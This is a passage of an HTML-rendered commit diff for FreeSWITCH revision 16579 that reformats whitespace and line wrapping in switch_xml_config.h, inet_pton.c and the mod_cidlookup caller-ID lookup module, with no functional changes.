</ins><span class="cx">         switch_xml_config_callback_t function;        /*< Callback to be called after the var is parsed */
</span><del>-        const char *syntax;                                                /*< Optional syntax documentation for this setting */
-        const char *helptext;                                        /*< Optional documentation text for this setting */
</del><ins>+        const char *syntax;                        /*< Optional syntax documentation for this setting */
+        const char *helptext;                /*< Optional documentation text for this setting */
</ins><span class="cx"> };
</span><span class="cx">
</span><span class="cx"> #define SWITCH_CONFIG_ITEM(_key, _type, _flags, _ptr, _defaultvalue, _data, _syntax, _helptext)        { _key, _type, _flags, _ptr, (void*)_defaultvalue, (void*)_data, NULL, _syntax, _helptext }
</span><span class="lines">@@ -110,9 +110,10 @@
</span><span class="cx"> #define SWITCH_CONFIG_SET_ITEM(_item, _key, _type, _flags, _ptr, _defaultvalue, _data, _syntax, _helptext) switch_config_perform_set_item(&(_item), _key, _type, _flags, _ptr, (void*)(_defaultvalue), _data, NULL, _syntax, _helptext)
</span><span class="cx"> #define SWITCH_CONFIG_SET_ITEM_CALLBACK(_item, _key, _type, _flags, _ptr, _defaultvalue, _data, _function, _syntax, _helptext) switch_config_perform_set_item(&(_item), _key, _type, _flags, _ptr, (void*)(_defaultvalue), _data, _function, _syntax, _helptext)
</span><span class="cx">
</span><del>-SWITCH_DECLARE(void) switch_config_perform_set_item(switch_xml_config_item_t *item, const char *key, switch_xml_config_type_t type, int flags, void *ptr,         
-        const void* defaultvalue, void *data, switch_xml_config_callback_t function, const char *syntax, const char *helptext);
-        
</del><ins>+SWITCH_DECLARE(void) switch_config_perform_set_item(switch_xml_config_item_t *item, const char *key, switch_xml_config_type_t type, int flags, void *ptr,
+                                                                                                        const void *defaultvalue, void *data, switch_xml_config_callback_t function, const char *syntax,
+                                                                                                        const char *helptext);
+
</ins><span class="cx"> /*!
</span><span class="cx"> * \brief Gets the int representation of an enum
</span><span class="cx"> * \param enum_options the switch_xml_config_enum_item_t array for this enum
</span><span class="lines">@@ -125,7 +126,7 @@
</span><span class="cx"> * \param enum_options the switch_xml_config_enum_item_t array for this enum
</span><span class="cx"> * \param value int value to search
</span><span class="cx"> */
</span><del>-SWITCH_DECLARE(const char*) switch_xml_config_enum_int2str(switch_xml_config_enum_item_t *enum_options, int value);
</del><ins>+SWITCH_DECLARE(const char *) switch_xml_config_enum_int2str(switch_xml_config_enum_item_t *enum_options, int value);
</ins><span class="cx">
</span><span class="cx"> /*!
</span><span class="cx"> * \brief Prints out an item's documentation on the console
</span><span class="lines">@@ -158,7 +159,8 @@
</span><span class="cx"> * \param instructions instrutions on how to parse the elements
</span><span class="cx"> * \see switch_xml_config_item_t
</span><span class="cx"> */
</span><del>-SWITCH_DECLARE(switch_status_t) switch_xml_config_parse_event(switch_event_t *event, int count, switch_bool_t reload, switch_xml_config_item_t *instructions);
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_xml_config_parse_event(switch_event_t *event, int count, switch_bool_t reload,
+                                                                                                                         switch_xml_config_item_t *instructions);
</ins><span class="cx">
</span><span class="cx"> /*!
</span><span class="cx"> * \brief Parses a list of xml elements into an event
</span><span class="lines">@@ -176,9 +178,7 @@
</span><span class="cx"> SWITCH_DECLARE(void) switch_xml_config_cleanup(switch_xml_config_item_t *instructions);
</span><span class="cx">
</span><span class="cx"> SWITCH_END_EXTERN_C
</span><del>-
</del><span class="cx"> #endif /* !defined(SWITCH_XML_CONFIG_H) */
</span><del>-
</del><span class="cx"> /* For Emacs:
</span><span class="cx"> * Local Variables:
</span><span class="cx"> * mode:c
</span></span></pre></div>
<a id="freeswitchtrunksrcinet_ptonc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/inet_pton.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/inet_pton.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/inet_pton.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -52,9 +52,9 @@
</span><span class="cx"> * sizeof(int) < 4. sizeof(int) > 4 is fine; all the world's not a VAX.
</span><span class="cx"> */
</span><span class="cx">
</span><del>-static int inet_pton4(const char *src, unsigned char *dst);
</del><ins>+static int inet_pton4(const char *src, unsigned char *dst);
</ins><span class="cx"> #ifdef ENABLE_IPV6
</span><del>-static int inet_pton6(const char *src, unsigned char *dst);
</del><ins>+static int inet_pton6(const char *src, unsigned char *dst);
</ins><span class="cx"> #endif
</span><span class="cx">
</span><span class="cx"> /* int
</span><span class="lines">@@ -68,24 +68,23 @@
</span><span class="cx"> * author:
</span><span class="cx"> * Paul Vixie, 1996.
</span><span class="cx"> */
</span><del>-SWITCH_DECLARE(int)
-switch_inet_pton(int af, const char *src, void *dst)
</del><ins>+SWITCH_DECLARE(int) switch_inet_pton(int af, const char *src, void *dst)
</ins><span class="cx"> {
</span><del>- switch (af) {
- case AF_INET:
- return (inet_pton4(src, (unsigned char *)dst));
</del><ins>+        switch (af) {
+        case AF_INET:
+                return (inet_pton4(src, (unsigned char *) dst));
</ins><span class="cx"> #ifdef ENABLE_IPV6
</span><span class="cx"> #ifndef AF_INET6
</span><del>-#define AF_INET6 (AF_MAX+1) /* just to let this compile */
</del><ins>+#define AF_INET6 (AF_MAX+1)        /* just to let this compile */
</ins><span class="cx"> #endif
</span><del>- case AF_INET6:
- return (inet_pton6(src, (unsigned char *)dst));
</del><ins>+        case AF_INET6:
+                return (inet_pton6(src, (unsigned char *) dst));
</ins><span class="cx"> #endif
</span><del>- default:
- errno = EAFNOSUPPORT;
- return (-1);
- }
- /* NOTREACHED */
</del><ins>+        default:
+                errno = EAFNOSUPPORT;
+                return (-1);
+        }
+        /* NOTREACHED */
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> /* int
</span><span class="lines">@@ -98,44 +97,43 @@
</span><span class="cx"> * author:
</span><span class="cx"> * Paul Vixie, 1996.
</span><span class="cx"> */
</span><del>-static int
-inet_pton4(const char *src, unsigned char *dst)
</del><ins>+static int inet_pton4(const char *src, unsigned char *dst)
</ins><span class="cx"> {
</span><del>- static const char digits[] = "0123456789";
- int saw_digit, octets, ch;
- unsigned char tmp[INADDRSZ], *tp;
</del><ins>+        static const char digits[] = "0123456789";
+        int saw_digit, octets, ch;
+        unsigned char tmp[INADDRSZ], *tp;
</ins><span class="cx">
</span><del>- saw_digit = 0;
- octets = 0;
- tp = tmp;
- *tp = 0;
- while ((ch = *src++) != '\0') {
- const char *pch;
</del><ins>+        saw_digit = 0;
+        octets = 0;
+        tp = tmp;
+        *tp = 0;
+        while ((ch = *src++) != '\0') {
+                const char *pch;
</ins><span class="cx">
</span><del>- if ((pch = strchr(digits, ch)) != NULL) {
- unsigned int val = *tp * 10 + (unsigned int)(pch - digits);
</del><ins>+                if ((pch = strchr(digits, ch)) != NULL) {
+                        unsigned int val = *tp * 10 + (unsigned int) (pch - digits);
</ins><span class="cx">
</span><del>- if (val > 255)
- return (0);
- *tp = (unsigned char)val;
- if (! saw_digit) {
- if (++octets > 4)
- return (0);
- saw_digit = 1;
- }
- } else if (ch == '.' && saw_digit) {
- if (octets == 4)
- return (0);
- *++tp = 0;
- saw_digit = 0;
- } else
- return (0);
- }
- if (octets < 4)
- return (0);
- /* bcopy(tmp, dst, INADDRSZ); */
- memcpy(dst, tmp, INADDRSZ);
- return (1);
</del><ins>+                        if (val > 255)
+                                return (0);
+                        *tp = (unsigned char) val;
+                        if (!saw_digit) {
+                                if (++octets > 4)
+                                        return (0);
+                                saw_digit = 1;
+                        }
+                } else if (ch == '.' && saw_digit) {
+                        if (octets == 4)
+                                return (0);
+                        *++tp = 0;
+                        saw_digit = 0;
+                } else
+                        return (0);
+        }
+        if (octets < 4)
+                return (0);
+        /* bcopy(tmp, dst, INADDRSZ); */
+        memcpy(dst, tmp, INADDRSZ);
+        return (1);
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> #ifdef ENABLE_IPV6
</span><span class="lines">@@ -152,88 +150,85 @@
</span><span class="cx"> * author:
</span><span class="cx"> * Paul Vixie, 1996.
</span><span class="cx"> */
</span><del>-static int
-inet_pton6(const char *src, unsigned char *dst)
</del><ins>+static int inet_pton6(const char *src, unsigned char *dst)
</ins><span class="cx"> {
</span><del>- static const char xdigits_l[] = "0123456789abcdef",
- xdigits_u[] = "0123456789ABCDEF";
- unsigned char tmp[IN6ADDRSZ], *tp, *endp, *colonp;
- const char *xdigits, *curtok;
- int ch, saw_xdigit;
- unsigned int val;
</del><ins>+        static const char xdigits_l[] = "0123456789abcdef", xdigits_u[] = "0123456789ABCDEF";
+        unsigned char tmp[IN6ADDRSZ], *tp, *endp, *colonp;
+        const char *xdigits, *curtok;
+        int ch, saw_xdigit;
+        unsigned int val;
</ins><span class="cx">
</span><del>- memset((tp = tmp), 0, IN6ADDRSZ);
- endp = tp + IN6ADDRSZ;
- colonp = NULL;
- /* Leading :: requires some special handling. */
- if (*src == ':')
- if (*++src != ':')
- return (0);
- curtok = src;
- saw_xdigit = 0;
- val = 0;
- while ((ch = *src++) != '\0') {
- const char *pch;
</del><ins>+        memset((tp = tmp), 0, IN6ADDRSZ);
+        endp = tp + IN6ADDRSZ;
+        colonp = NULL;
+        /* Leading :: requires some special handling. */
+        if (*src == ':')
+                if (*++src != ':')
+                        return (0);
+        curtok = src;
+        saw_xdigit = 0;
+        val = 0;
+        while ((ch = *src++) != '\0') {
+                const char *pch;
</ins><span class="cx">
</span><del>- if ((pch = strchr((xdigits = xdigits_l), ch)) == NULL)
- pch = strchr((xdigits = xdigits_u), ch);
- if (pch != NULL) {
- val <<= 4;
- val |= (pch - xdigits);
- if (val > 0xffff)
- return (0);
- saw_xdigit = 1;
- continue;
- }
- if (ch == ':') {
- curtok = src;
- if (!saw_xdigit) {
- if (colonp)
- return (0);
- colonp = tp;
- continue;
- }
- if (tp + INT16SZ > endp)
- return (0);
- *tp++ = (unsigned char) (val >> 8) & 0xff;
- *tp++ = (unsigned char) val & 0xff;
- saw_xdigit = 0;
- val = 0;
- continue;
- }
- if (ch == '.' && ((tp + INADDRSZ) <= endp) &&
- inet_pton4(curtok, tp) > 0) {
- tp += INADDRSZ;
- saw_xdigit = 0;
- break; /* '\0' was seen by inet_pton4(). */
- }
- return (0);
- }
- if (saw_xdigit) {
- if (tp + INT16SZ > endp)
- return (0);
- *tp++ = (unsigned char) (val >> 8) & 0xff;
- *tp++ = (unsigned char) val & 0xff;
- }
- if (colonp != NULL) {
- /*
- * Since some memmove()'s erroneously fail to handle
- * overlapping regions, we'll do the shift by hand.
- */
- const int n = tp - colonp;
- int i;
</del><ins>+                if ((pch = strchr((xdigits = xdigits_l), ch)) == NULL)
+                        pch = strchr((xdigits = xdigits_u), ch);
+                if (pch != NULL) {
+                        val <<= 4;
+                        val |= (pch - xdigits);
+                        if (val > 0xffff)
+                                return (0);
+                        saw_xdigit = 1;
+                        continue;
+                }
+                if (ch == ':') {
+                        curtok = src;
+                        if (!saw_xdigit) {
+                                if (colonp)
+                                        return (0);
+                                colonp = tp;
+                                continue;
+                        }
+                        if (tp + INT16SZ > endp)
+                                return (0);
+                        *tp++ = (unsigned char) (val >> 8) & 0xff;
+                        *tp++ = (unsigned char) val & 0xff;
+                        saw_xdigit = 0;
+                        val = 0;
+                        continue;
+                }
+                if (ch == '.' && ((tp + INADDRSZ) <= endp) && inet_pton4(curtok, tp) > 0) {
+                        tp += INADDRSZ;
+                        saw_xdigit = 0;
+                        break;                                /* '\0' was seen by inet_pton4(). */
+                }
+                return (0);
+        }
+        if (saw_xdigit) {
+                if (tp + INT16SZ > endp)
+                        return (0);
+                *tp++ = (unsigned char) (val >> 8) & 0xff;
+                *tp++ = (unsigned char) val & 0xff;
+        }
+        if (colonp != NULL) {
+                /*
+                 * Since some memmove()'s erroneously fail to handle
+                 * overlapping regions, we'll do the shift by hand.
+                 */
+                const int n = tp - colonp;
+                int i;
</ins><span class="cx">
</span><del>- for (i = 1; i <= n; i++) {
- endp[- i] = colonp[n - i];
- colonp[n - i] = 0;
- }
- tp = endp;
- }
- if (tp != endp)
- return (0);
- /* bcopy(tmp, dst, IN6ADDRSZ); */
- memcpy(dst, tmp, IN6ADDRSZ);
- return (1);
</del><ins>+                for (i = 1; i <= n; i++) {
+                        endp[-i] = colonp[n - i];
+                        colonp[n - i] = 0;
+                }
+                tp = endp;
+        }
+        if (tp != endp)
+                return (0);
+        /* bcopy(tmp, dst, IN6ADDRSZ); */
+        memcpy(dst, tmp, IN6ADDRSZ);
+        return (1);
</ins><span class="cx"> }
</span><span class="cx"> #endif /* ENABLE_IPV6 */
</span><span class="cx">
</span></span></pre></div>
<a id="freeswitchtrunksrcmodapplicationsmod_cidlookupmod_cidlookupc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/applications/mod_cidlookup/mod_cidlookup.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/applications/mod_cidlookup/mod_cidlookup.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_cidlookup/mod_cidlookup.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -28,7 +28,7 @@
</span><span class="cx"> * mod_cidlookup.c -- API for querying cid->name services
</span><span class="cx"> *
</span><span class="cx"> */
</span><del>-
</del><ins>+
</ins><span class="cx"> #include <switch.h>
</span><span class="cx"> #include <curl/curl.h>
</span><span class="cx">
</span><span class="lines">@@ -50,12 +50,12 @@
</span><span class="cx">         char *url;
</span><span class="cx">         int curl_timeout;
</span><span class="cx">         int curl_warnduration;
</span><del>-        
</del><ins>+
</ins><span class="cx">         char *whitepages_apikey;
</span><span class="cx">
</span><span class="cx">         switch_bool_t cache;
</span><span class="cx">         int cache_expire;
</span><del>-        
</del><ins>+
</ins><span class="cx">         char *odbc_dsn;
</span><span class="cx">         char *odbc_user;
</span><span class="cx">         char *odbc_pass;
</span><span class="lines">@@ -92,22 +92,24 @@
</span><span class="cx"> {
</span><span class="cx">         switch_cache_db_connection_options_t options = { {0} };
</span><span class="cx">         switch_cache_db_handle_t *dbh = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!zstr(globals.odbc_dsn)) {
</span><span class="cx">                 options.odbc_options.dsn = globals.odbc_dsn;
</span><span class="cx">                 options.odbc_options.user = globals.odbc_user;
</span><span class="cx">                 options.odbc_options.pass = globals.odbc_pass;
</span><span class="cx">
</span><del>-                if (switch_cache_db_get_db_handle(&dbh, SCDB_TYPE_ODBC, &options) != SWITCH_STATUS_SUCCESS) dbh = NULL;
</del><ins>+                if (switch_cache_db_get_db_handle(&dbh, SCDB_TYPE_ODBC, &options) != SWITCH_STATUS_SUCCESS)
+                        dbh = NULL;
</ins><span class="cx">         }
</span><span class="cx">         return dbh;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx">
</span><del>-static switch_status_t config_callback_dsn(switch_xml_config_item_t *data, const char *newvalue, switch_config_callback_type_t callback_type, switch_bool_t changed)
</del><ins>+static switch_status_t config_callback_dsn(switch_xml_config_item_t *data, const char *newvalue, switch_config_callback_type_t callback_type,
+                                                                                 switch_bool_t changed)
</ins><span class="cx"> {
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_SUCCESS;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_cache_db_handle_t *dbh = NULL;
</span><span class="cx">
</span><span class="cx">         if (!switch_odbc_available()) {
</span><span class="lines">@@ -139,25 +141,31 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         switch_goto_status(SWITCH_STATUS_SUCCESS, done);
</span><del>-        
-done:
</del><ins>+
+ done:
</ins><span class="cx">         switch_cache_db_release_db_handle(&dbh);
</span><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-static switch_xml_config_string_options_t config_opt_dsn = {NULL, 0, NULL}; /* anything is ok here */
</del><ins>+static switch_xml_config_string_options_t config_opt_dsn = { NULL, 0, NULL };        /* anything is ok here */
</ins><span class="cx"> static switch_xml_config_item_t instructions[] = {
</span><span class="cx">         /* parameter name type reloadable pointer default value options structure */
</span><del>-        SWITCH_CONFIG_ITEM_STRING_STRDUP("url", CONFIG_RELOAD, &globals.url, NULL, "http://server.example.com/app?number=${caller_id_number}", "URL for the CID lookup service"),
-        SWITCH_CONFIG_ITEM_STRING_STRDUP("whitepages-apikey", CONFIG_RELOAD, &globals.whitepages_apikey, NULL, "api key for whitepages.com", "api key for whitepages.com"),
</del><ins>+        SWITCH_CONFIG_ITEM_STRING_STRDUP("url", CONFIG_RELOAD, &globals.url, NULL, "http://server.example.com/app?number=${caller_id_number}",
+                                                                         "URL for the CID lookup service"),
+        SWITCH_CONFIG_ITEM_STRING_STRDUP("whitepages-apikey", CONFIG_RELOAD, &globals.whitepages_apikey, NULL, "api key for whitepages.com",
+                                                                         "api key for whitepages.com"),
</ins><span class="cx">         SWITCH_CONFIG_ITEM("cache", SWITCH_CONFIG_BOOL, CONFIG_RELOAD, &globals.cache, SWITCH_FALSE, NULL, "true|false", "whether to cache via cidlookup"),
</span><del>-        SWITCH_CONFIG_ITEM("cache-expire", SWITCH_CONFIG_INT, CONFIG_RELOAD, &globals.cache_expire, (void *)300, NULL, "expire", "seconds to preserve num->name cache"),
-        SWITCH_CONFIG_ITEM("curl-timeout", SWITCH_CONFIG_INT, CONFIG_RELOAD, &globals.curl_timeout, (void *)2000, NULL, "timeout for curl", "milliseconds to timeout"),
-        SWITCH_CONFIG_ITEM("curl-warning-duration", SWITCH_CONFIG_INT, CONFIG_RELOAD, &globals.curl_warnduration, (void *)1000, NULL, "warning when curl queries are longer than specified time", "milliseconds"),
</del><ins>+        SWITCH_CONFIG_ITEM("cache-expire", SWITCH_CONFIG_INT, CONFIG_RELOAD, &globals.cache_expire, (void *) 300, NULL, "expire",
+                                         "seconds to preserve num->name cache"),
+        SWITCH_CONFIG_ITEM("curl-timeout", SWITCH_CONFIG_INT, CONFIG_RELOAD, &globals.curl_timeout, (void *) 2000, NULL, "timeout for curl",
+                                         "milliseconds to timeout"),
+        SWITCH_CONFIG_ITEM("curl-warning-duration", SWITCH_CONFIG_INT, CONFIG_RELOAD, &globals.curl_warnduration, (void *) 1000, NULL,
+                                         "warning when curl queries are longer than specified time", "milliseconds"),
</ins><span class="cx">         SWITCH_CONFIG_ITEM_STRING_STRDUP("sql", CONFIG_RELOAD, &globals.sql, NULL, "sql whre number=${caller_id_number}", "SQL to run if overriding CID"),
</span><del>-        SWITCH_CONFIG_ITEM_STRING_STRDUP("citystate-sql", CONFIG_RELOAD, &globals.citystate_sql, NULL, "sql to look up city/state info", "SQL to run if overriding CID"),
</del><ins>+        SWITCH_CONFIG_ITEM_STRING_STRDUP("citystate-sql", CONFIG_RELOAD, &globals.citystate_sql, NULL, "sql to look up city/state info",
+                                                                         "SQL to run if overriding CID"),
</ins><span class="cx">         SWITCH_CONFIG_ITEM_CALLBACK("odbc-dsn", SWITCH_CONFIG_STRING, CONFIG_RELOAD, &globals.odbc_dsn, "", config_callback_dsn, &config_opt_dsn,
</span><del>-                "db:user:passwd", "Database to use."),
</del><ins>+                                                                "db:user:passwd", "Database to use."),
</ins><span class="cx">         SWITCH_CONFIG_ITEM_END()
</span><span class="cx"> };
</span><span class="cx">
</span><span class="lines">@@ -166,7 +174,7 @@
</span><span class="cx">         if (switch_xml_config_parse_module_settings("cidlookup.conf", reload, instructions) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 return SWITCH_STATUS_GENERR;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -179,10 +187,10 @@
</span><span class="cx"> {
</span><span class="cx">         switch_bool_t retval = SWITCH_FALSE;
</span><span class="cx">         switch_cache_db_handle_t *dbh = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (globals.odbc_dsn && (dbh = cidlookup_get_db_handle())) {
</span><del>-                if (switch_cache_db_execute_sql_callback(dbh, sql, callback, (void *)cbt, err)
-                                == SWITCH_ODBC_FAIL) {
</del><ins>+                if (switch_cache_db_execute_sql_callback(dbh, sql, callback, (void *) cbt, err)
+                        == SWITCH_ODBC_FAIL) {
</ins><span class="cx">                         retval = SWITCH_FALSE;
</span><span class="cx">                 } else {
</span><span class="cx">                         retval = SWITCH_TRUE;
</span><span class="lines">@@ -190,7 +198,7 @@
</span><span class="cx">         } else {
</span><span class="cx">                 *err = switch_core_sprintf(cbt->pool, "Unable to get ODBC handle. dsn: %s, dbh is %s\n", globals.odbc_dsn, dbh ? "not null" : "null");
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_cache_db_release_db_handle(&dbh);
</span><span class="cx">         return retval;
</span><span class="cx"> }
</span><span class="lines">@@ -199,33 +207,31 @@
</span><span class="cx"> {
</span><span class="cx">         callback_t *cbt = (callback_t *) pArg;
</span><span class="cx">         switch_memory_pool_t *pool = cbt->pool;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (argc < 1) {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR,
-                                                        "Unexpected number of columns returned for SQL. Returned column count: %d. ",
-                                                        argc);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Unexpected number of columns returned for SQL. Returned column count: %d. ", argc);
</ins><span class="cx">                 return SWITCH_STATUS_GENERR;
</span><span class="cx">         }
</span><span class="cx">         cbt->name = switch_core_strdup(pool, switch_str_nil(argv[0]));
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Name: %s\n", cbt->name);
</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> /* make a new string with digits only */
</span><del>-static char *string_digitsonly(switch_memory_pool_t *pool, const char *str)
</del><ins>+static char *string_digitsonly(switch_memory_pool_t *pool, const char *str)
</ins><span class="cx"> {
</span><span class="cx">         char *p, *np, *newstr;
</span><span class="cx">         size_t len;
</span><span class="cx">
</span><del>-        p = (char *)str;
</del><ins>+        p = (char *) str;
</ins><span class="cx">
</span><span class="cx">         len = strlen(str);
</span><del>-        newstr = switch_core_alloc(pool, len+1);
</del><ins>+        newstr = switch_core_alloc(pool, len + 1);
</ins><span class="cx">         switch_assert(newstr);
</span><span class="cx">         np = newstr;
</span><del>-        
-        while(*p) {
</del><ins>+
+        while (*p) {
</ins><span class="cx">                 if (switch_isdigit(*p)) {
</span><span class="cx">                         *np = *p;
</span><span class="cx">                         np++;
</span><span class="lines">@@ -237,16 +243,17 @@
</span><span class="cx">         return newstr;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-static cid_data_t *check_cache(switch_memory_pool_t *pool, const char *number) {
</del><ins>+static cid_data_t *check_cache(switch_memory_pool_t *pool, const char *number)
+{
</ins><span class="cx">         char *cmd;
</span><span class="cx">         char *name = NULL;
</span><span class="cx">         char *area = NULL;
</span><span class="cx">         char *src = NULL;
</span><span class="cx">         cid_data_t *cid = NULL;
</span><span class="cx">         switch_stream_handle_t stream = { 0 };
</span><del>-        
</del><ins>+
</ins><span class="cx">         SWITCH_STANDARD_STREAM(stream);
</span><del>-        
</del><ins>+
</ins><span class="cx">         cmd = switch_core_sprintf(pool, "get fs:cidlookup:name:%s", number);
</span><span class="cx">         if (switch_api_execute("memcache", cmd, NULL, &stream) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 if (strncmp("-ERR", stream.data, 4)) {
</span><span class="lines">@@ -275,7 +282,7 @@
</span><span class="cx">                         src = NULL;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (name || area || src) {
</span><span class="cx">                 cid = switch_core_alloc(pool, sizeof(cid_data_t));
</span><span class="cx">                 switch_assert(cid);
</span><span class="lines">@@ -283,24 +290,21 @@
</span><span class="cx">                 cid->area = area;
</span><span class="cx">                 cid->src = src;
</span><span class="cx">         }
</span><del>-        
-        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "memcache: k:'%s', vn:'%s', va:'%s', vs:'%s'\n",
-                                                cmd,
-                                                (name) ? name : "(null)",
-                                                (area) ? area : "(null)",
-                                                (src) ? src : "(null)"
-                                                );
</del><ins>+
+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "memcache: k:'%s', vn:'%s', va:'%s', vs:'%s'\n",
+                                         cmd, (name) ? name : "(null)", (area) ? area : "(null)", (src) ? src : "(null)");
</ins><span class="cx">         switch_safe_free(stream.data);
</span><span class="cx">         return cid;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-switch_bool_t set_cache(switch_memory_pool_t *pool, char *number, cid_data_t *cid) {
</del><ins>+switch_bool_t set_cache(switch_memory_pool_t *pool, char *number, cid_data_t *cid)
+{
</ins><span class="cx">         char *cmd;
</span><span class="cx">         switch_bool_t success = SWITCH_TRUE;
</span><span class="cx">         switch_stream_handle_t stream = { 0 };
</span><del>-        
</del><ins>+
</ins><span class="cx">         SWITCH_STANDARD_STREAM(stream);
</span><del>-        
</del><ins>+
</ins><span class="cx">         cmd = switch_core_sprintf(pool, "set fs:cidlookup:name:%s '%s' %d", number, cid->name, globals.cache_expire);
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "memcache: %s\n", cmd);
</span><span class="cx">         if (switch_api_execute("memcache", cmd, NULL, &stream) == SWITCH_STATUS_SUCCESS) {
</span><span class="lines">@@ -334,7 +338,7 @@
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx">
</span><del>-done:
</del><ins>+ done:
</ins><span class="cx">         switch_safe_free(stream.data);
</span><span class="cx">         return success;
</span><span class="cx"> }
</span><span class="lines">@@ -347,17 +351,18 @@
</span><span class="cx">         http_data->bytes += realsize;
</span><span class="cx">
</span><span class="cx">         if (http_data->bytes > http_data->max_bytes) {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Oversized file detected [%d bytes]\n", (int)http_data->bytes);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Oversized file detected [%d bytes]\n", (int) http_data->bytes);
</ins><span class="cx">                 http_data->err = 1;
</span><span class="cx">                 return 0;
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        http_data->stream.write_function(
-                &http_data->stream, "%.*s", realsize, ptr);
</del><ins>+        http_data->stream.write_function(&http_data->stream, "%.*s", realsize, ptr);
</ins><span class="cx">         return realsize;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-static long do_lookup_url(switch_memory_pool_t *pool, switch_event_t *event, char **response, const char *query, struct curl_httppost *post, struct curl_slist *headers, int timeout) {
</del><ins>+static long do_lookup_url(switch_memory_pool_t *pool, switch_event_t *event, char **response, const char *query, struct curl_httppost *post,
+                                                 struct curl_slist *headers, int timeout)
+{
</ins><span class="cx">         switch_time_t start_time = switch_micro_time_now();
</span><span class="cx">         switch_time_t time_diff = 0;
</span><span class="cx">         CURL *curl_handle = NULL;
</span><span class="lines">@@ -365,20 +370,20 @@
</span><span class="cx">         char hostname[256] = "";
</span><span class="cx">
</span><span class="cx">         struct http_data http_data;
</span><del>-        
</del><ins>+
</ins><span class="cx">         memset(&http_data, 0, sizeof(http_data));
</span><del>-        
</del><ins>+
</ins><span class="cx">         http_data.max_bytes = 10240;
</span><span class="cx">         SWITCH_STANDARD_STREAM(http_data.stream);
</span><span class="cx">
</span><span class="cx">         gethostname(hostname, sizeof(hostname));
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "url: %s\n", query);
</span><span class="cx">         curl_handle = curl_easy_init();
</span><del>-        
</del><ins>+
</ins><span class="cx">         curl_easy_setopt(curl_handle, CURLOPT_VERBOSE, 0);
</span><span class="cx">         curl_easy_setopt(curl_handle, CURLOPT_NOSIGNAL, 1);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!strncasecmp(query, "https", 5)) {
</span><span class="cx">                 curl_easy_setopt(curl_handle, CURLOPT_SSL_VERIFYPEER, 0);
</span><span class="cx">                 curl_easy_setopt(curl_handle, CURLOPT_SSL_VERIFYHOST, 0);
</span><span class="lines">@@ -394,7 +399,7 @@
</span><span class="cx">         curl_easy_setopt(curl_handle, CURLOPT_FOLLOWLOCATION, 1);
</span><span class="cx">         curl_easy_setopt(curl_handle, CURLOPT_MAXREDIRS, 10);
</span><span class="cx">         /*
</span><del>-         TIMEOUT_MS is introduced in 7.16.2, we have 7.16.0 in tree
</del><ins>+         TIMEOUT_MS is introduced in 7.16.2, we have 7.16.0 in tree
</ins><span class="cx">          */
</span><span class="cx"> #ifdef CURLOPT_TIMEOUT_MS
</span><span class="cx">         if (timeout > 0) {
</span><span class="lines">@@ -406,7 +411,7 @@
</span><span class="cx">         if (timeout > 0) {
</span><span class="cx">                 curl_easy_setopt(curl_handle, CURLOPT_TIMEOUT, timeout);
</span><span class="cx">         } else {
</span><del>-                curl_easy_setopt(curl_handle, CURLOPT_TIMEOUT, globals.curl_timeout/1000);
